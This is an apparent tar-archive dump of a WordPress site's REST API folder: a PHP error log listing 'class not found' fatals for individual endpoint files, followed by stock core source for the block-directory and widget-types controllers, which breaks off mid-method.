  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-sidebars-controller.php on line 19
[03-Nov-2025 04:14:12 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-blocks-controller.php:20
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-blocks-controller.php on line 20
[03-Nov-2025 04:15:14 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php on line 17
[03-Nov-2025 04:16:18 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-settings-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-settings-controller.php on line 17
[03-Nov-2025 11:11:05 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-search-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-search-controller.php on line 17
[03-Nov-2025 11:57:01 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php on line 17
[03-Nov-2025 15:06:26 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-post-types-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-post-types-controller.php on line 17
[03-Nov-2025 15:23:57 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-block-pattern-categories-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-block-pattern-categories-controller.php on line 17
[03-Nov-2025 16:09:39 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Terms_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-menus-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-menus-controller.php on line 17
[03-Nov-2025 16:15:17 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-block-patterns-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-block-patterns-controller.php on line 17
[03-Nov-2025 16:34:20 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-sidebars-controller.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-sidebars-controller.php on line 19
[03-Nov-2025 16:39:19 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-locations-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-locations-controller.php on line 17
[03-Nov-2025 17:14:05 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-widget-types-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-widget-types-controller.php on line 17
[03-Nov-2025 17:23:12 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-navigation-fallback-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-navigation-fallback-controller.php on line 17
[03-Nov-2025 17:47:08 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Autosaves_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-template-autosaves-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-template-autosaves-controller.php on line 17
[03-Nov-2025 17:58:25 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php on line 17
[03-Nov-2025 18:39:58 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php on line 17
[03-Nov-2025 18:44:32 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-edit-site-export-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-edit-site-export-controller.php on line 17
[03-Nov-2025 18:47:20 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-post-statuses-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-post-statuses-controller.php on line 17
[03-Nov-2025 18:50:07 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php on line 17
[03-Nov-2025 19:07:58 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php on line 17
[03-Nov-2025 19:55:05 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Revisions_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-revisions-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-revisions-controller.php on line 17
[03-Nov-2025 20:00:43 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php on line 17
[03-Nov-2025 20:34:37 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-font-faces-controller.php:13
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-font-faces-controller.php on line 13
[03-Nov-2025 20:35:30 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Revisions_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-autosaves-controller.php:18
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-autosaves-controller.php on line 18
[03-Nov-2025 20:51:05 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-font-collections-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-font-collections-controller.php on line 17
[03-Nov-2025 21:06:16 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php on line 17
[03-Nov-2025 21:37:46 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-url-details-controller.php:18
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-url-details-controller.php on line 18
[03-Nov-2025 21:44:28 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-block-directory-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-block-directory-controller.php on line 17
[03-Nov-2025 22:22:19 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-taxonomies-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-taxonomies-controller.php on line 17
[03-Nov-2025 22:22:51 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-font-families-controller.php:15
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-font-families-controller.php on line 15
[03-Nov-2025 22:32:03 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-application-passwords-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-application-passwords-controller.php on line 17
[03-Nov-2025 22:44:24 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-site-health-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-site-health-controller.php on line 17
[03-Nov-2025 22:58:16 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-settings-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-settings-controller.php on line 17
[03-Nov-2025 23:24:46 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-themes-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-themes-controller.php on line 17
[03-Nov-2025 23:55:30 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-controller.php:13
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-controller.php on line 13
[04-Nov-2025 00:22:07 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php on line 17
[04-Nov-2025 00:31:00 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-widgets-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-widgets-controller.php on line 17
[04-Nov-2025 00:36:03 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Revisions_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-template-revisions-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-template-revisions-controller.php on line 17
[04-Nov-2025 00:50:38 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php on line 17
[04-Nov-2025 01:19:16 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php on line 17
[04-Nov-2025 02:33:30 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-blocks-controller.php:20
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-blocks-controller.php on line 20
[04-Nov-2025 03:28:32 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-block-renderer-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-block-renderer-controller.php on line 17
[04-Nov-2025 04:44:22 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-pattern-directory-controller.php:20
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-pattern-directory-controller.php on line 20
endpoints/class-wp-rest-block-directory-controller.php000064400000023332151024200430017231 0ustar00<?php
/**
 * REST API: WP_REST_Block_Directory_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 5.5.0
 */

/**
 * Controller which provides REST endpoint for the blocks.
 *
 * @since 5.5.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Block_Directory_Controller extends WP_REST_Controller {

	/**
	 * Constructs the controller.
	 */
	public function __construct() {
		$this->namespace = 'wp/v2';
		$this->rest_base = 'block-directory';
	}

	/**
	 * Registers the necessary REST API routes.
	 */
	public function register_routes() {
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/search',
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Checks whether a given request has permission to install and activate plugins.
	 *
	 * @since 5.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has permission, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {
		if ( ! current_user_can( 'install_plugins' ) || ! current_user_can( 'activate_plugins' ) ) {
			return new WP_Error(
				'rest_block_directory_cannot_view',
				__( 'Sorry, you are not allowed to browse the block directory.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Search and retrieve blocks metadata
	 *
	 * @since 5.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {
		require_once ABSPATH . 'wp-admin/includes/plugin-install.php';
		require_once ABSPATH . 'wp-admin/includes/plugin.php';

		$response = plugins_api(
			'query_plugins',
			array(
				'block'    => $request['term'],
				'per_page' => $request['per_page'],
				'page'     => $request['page'],
			)
		);

		if ( is_wp_error( $response ) ) {
			$response->add_data( array( 'status' => 500 ) );

			return $response;
		}

		$result = array();

		foreach ( $response->plugins as $plugin ) {
			// If the API returned a plugin with empty data for 'blocks', skip it.
			if ( empty( $plugin['blocks'] ) ) {
				continue;
			}

			$data     = $this->prepare_item_for_response( $plugin, $request );
			$result[] = $this->prepare_response_for_collection( $data );
		}

		return rest_ensure_response( $result );
	}

	/**
	 * Parse block metadata for a block, and prepare it for an API response.
	 *
	 * @since 5.5.0
	 * @since 5.9.0 Renamed `$plugin` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @param array           $item    The plugin metadata.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function prepare_item_for_response( $item, $request ) {
		// Restores the more descriptive, specific name for use within this method.
		$plugin = $item;

		$fields = $this->get_fields_for_response( $request );

		// There might be multiple blocks in a plugin. Only the first block is mapped.
		$block_data = reset( $plugin['blocks'] );

		// A data array containing the properties we'll return.
		$block = array(
			'name'                => $block_data['name'],
			'title'               => ( $block_data['title'] ? $block_data['title'] : $plugin['name'] ),
			'description'         => wp_trim_words( $plugin['short_description'], 30, '...' ),
			'id'                  => $plugin['slug'],
			'rating'              => $plugin['rating'] / 20,
			'rating_count'        => (int) $plugin['num_ratings'],
			'active_installs'     => (int) $plugin['active_installs'],
			'author_block_rating' => $plugin['author_block_rating'] / 20,
			'author_block_count'  => (int) $plugin['author_block_count'],
			'author'              => wp_strip_all_tags( $plugin['author'] ),
			'icon'                => ( isset( $plugin['icons']['1x'] ) ? $plugin['icons']['1x'] : 'block-default' ),
			'last_updated'        => gmdate( 'Y-m-d\TH:i:s', strtotime( $plugin['last_updated'] ) ),
			'humanized_updated'   => sprintf(
				/* translators: %s: Human-readable time difference. */
				__( '%s ago' ),
				human_time_diff( strtotime( $plugin['last_updated'] ) )
			),
		);

		$this->add_additional_fields_to_object( $block, $request );

		$response = new WP_REST_Response( $block );

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$response->add_links( $this->prepare_links( $plugin ) );
		}

		return $response;
	}

	/**
	 * Generates a list of links to include in the response for the plugin.
	 *
	 * @since 5.5.0
	 *
	 * @param array $plugin The plugin data from WordPress.org.
	 * @return array
	 */
	protected function prepare_links( $plugin ) {
		$links = array(
			'https://api.w.org/install-plugin' => array(
				'href' => add_query_arg( 'slug', urlencode( $plugin['slug'] ), rest_url( 'wp/v2/plugins' ) ),
			),
		);

		$plugin_file = $this->find_plugin_for_slug( $plugin['slug'] );

		if ( $plugin_file ) {
			$links['https://api.w.org/plugin'] = array(
				'href'       => rest_url( 'wp/v2/plugins/' . substr( $plugin_file, 0, - 4 ) ),
				'embeddable' => true,
			);
		}

		return $links;
	}

	/**
	 * Finds an installed plugin for the given slug.
	 *
	 * @since 5.5.0
	 *
	 * @param string $slug The WordPress.org directory slug for a plugin.
	 * @return string The plugin file found matching it.
	 */
	protected function find_plugin_for_slug( $slug ) {
		require_once ABSPATH . 'wp-admin/includes/plugin.php';

		$plugin_files = get_plugins( '/' . $slug );

		if ( ! $plugin_files ) {
			return '';
		}

		$plugin_files = array_keys( $plugin_files );

		return $slug . '/' . reset( $plugin_files );
	}

	/**
	 * Retrieves the theme's schema, conforming to JSON Schema.
	 *
	 * @since 5.5.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$this->schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'block-directory-item',
			'type'       => 'object',
			'properties' => array(
				'name'                => array(
					'description' => __( 'The block name, in namespace/block-name format.' ),
					'type'        => 'string',
					'context'     => array( 'view' ),
				),
				'title'               => array(
					'description' => __( 'The block title, in human readable format.' ),
					'type'        => 'string',
					'context'     => array( 'view' ),
				),
				'description'         => array(
					'description' => __( 'A short description of the block, in human readable format.' ),
					'type'        => 'string',
					'context'     => array( 'view' ),
				),
				'id'                  => array(
					'description' => __( 'The block slug.' ),
					'type'        => 'string',
					'context'     => array( 'view' ),
				),
				'rating'              => array(
					'description' => __( 'The star rating of the block.' ),
					'type'        => 'number',
					'context'     => array( 'view' ),
				),
				'rating_count'        => array(
					'description' => __( 'The number of ratings.' ),
					'type'        => 'integer',
					'context'     => array( 'view' ),
				),
				'active_installs'     => array(
					'description' => __( 'The number sites that have activated this block.' ),
					'type'        => 'integer',
					'context'     => array( 'view' ),
				),
				'author_block_rating' => array(
					'description' => __( 'The average rating of blocks published by the same author.' ),
					'type'        => 'number',
					'context'     => array( 'view' ),
				),
				'author_block_count'  => array(
					'description' => __( 'The number of blocks published by the same author.' ),
					'type'        => 'integer',
					'context'     => array( 'view' ),
				),
				'author'              => array(
					'description' => __( 'The WordPress.org username of the block author.' ),
					'type'        => 'string',
					'context'     => array( 'view' ),
				),
				'icon'                => array(
					'description' => __( 'The block icon.' ),
					'type'        => 'string',
					'format'      => 'uri',
					'context'     => array( 'view' ),
				),
				'last_updated'        => array(
					'description' => __( 'The date when the block was last updated.' ),
					'type'        => 'string',
					'format'      => 'date-time',
					'context'     => array( 'view' ),
				),
				'humanized_updated'   => array(
					'description' => __( 'The date when the block was last updated, in human readable format.' ),
					'type'        => 'string',
					'context'     => array( 'view' ),
				),
			),
		);

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Retrieves the search params for the blocks collection.
	 *
	 * @since 5.5.0
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		$query_params = parent::get_collection_params();

		$query_params['context']['default'] = 'view';

		$query_params['term'] = array(
			'description' => __( 'Limit result set to blocks matching the search term.' ),
			'type'        => 'string',
			'required'    => true,
			'minLength'   => 1,
		);

		unset( $query_params['search'] );

		/**
		 * Filters REST API collection parameters for the block directory controller.
		 *
		 * @since 5.5.0
		 *
		 * @param array $query_params JSON Schema-formatted collection parameters.
		 */
		return apply_filters( 'rest_block_directory_collection_params', $query_params );
	}
}
endpoints/class-wp-rest-widget-types-controller.php000064400000045441151024200430016567 0ustar00<?php
/**
 * REST API: WP_REST_Widget_Types_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 5.8.0
 */

/**
 * Core class to access widget types via the REST API.
 *
 * @since 5.8.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Widget_Types_Controller extends WP_REST_Controller {

	/**
	 * Constructor.
	 *
	 * @since 5.8.0
	 */
	public function __construct() {
		$this->namespace = 'wp/v2';
		$this->rest_base = 'widget-types';
	}

	/**
	 * Registers the widget type routes.
	 *
	 * @since 5.8.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/(?P<id>[a-zA-Z0-9_-]+)',
			array(
				'args'   => array(
					'id' => array(
						'description' => __( 'The widget type id.' ),
						'type'        => 'string',
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/(?P<id>[a-zA-Z0-9_-]+)/encode',
			array(
				'args' => array(
					'id'        => array(
						'description' => __( 'The widget type id.' ),
						'type'        => 'string',
						'required'    => true,
					),
					'instance'  => array(
						'description' => __( 'Current instance settings of the widget.' ),
						'type'        => 'object',
					),
					'form_data' => array(
						'description'       => __( 'Serialized widget form data to encode into instance settings.' ),
						'type'              => 'string',
						'sanitize_callback' => static function ( $form_data ) {
							$array = array();
							wp_parse_str( $form_data, $array );
							return $array;
						},
					),
				),
				array(
					'methods'             => WP_REST_Server::CREATABLE,
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
					'callback'            => array( $this, 'encode_form_data' ),
				),
			)
		);

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/(?P<id>[a-zA-Z0-9_-]+)/render',
			array(
				array(
					'methods'             => WP_REST_Server::CREATABLE,
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
					'callback'            => array( $this, 'render' ),
					'args'                => array(
						'id'       => array(
							'description' => __( 'The widget type id.' ),
							'type'        => 'string',
							'required'    => true,
						),
						'instance' => array(
							'description' => __( 'Current instance settings of the widget.' ),
							'type'        => 'object',
						),
					),
				),
			)
		);
	}

	/**
	 * Checks whether a given request has permission to read widget types.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {
		return $this->check_read_permission();
	}

	/**
	 * Retrieves the list of all widget types.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {
		if ( $request->is_method( 'HEAD' ) ) {
			// Return early as this handler doesn't add any response headers.
			return new WP_REST_Response( array() );
		}

		$data = array();
		foreach ( $this->get_widgets() as $widget ) {
			$widget_type = $this->prepare_item_for_response( $widget, $request );
			$data[]      = $this->prepare_response_for_collection( $widget_type );
		}

		return rest_ensure_response( $data );
	}

	/**
	 * Checks if a given request has access to read a widget type.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise.
	 */
	public function get_item_permissions_check( $request ) {
		$check = $this->check_read_permission();
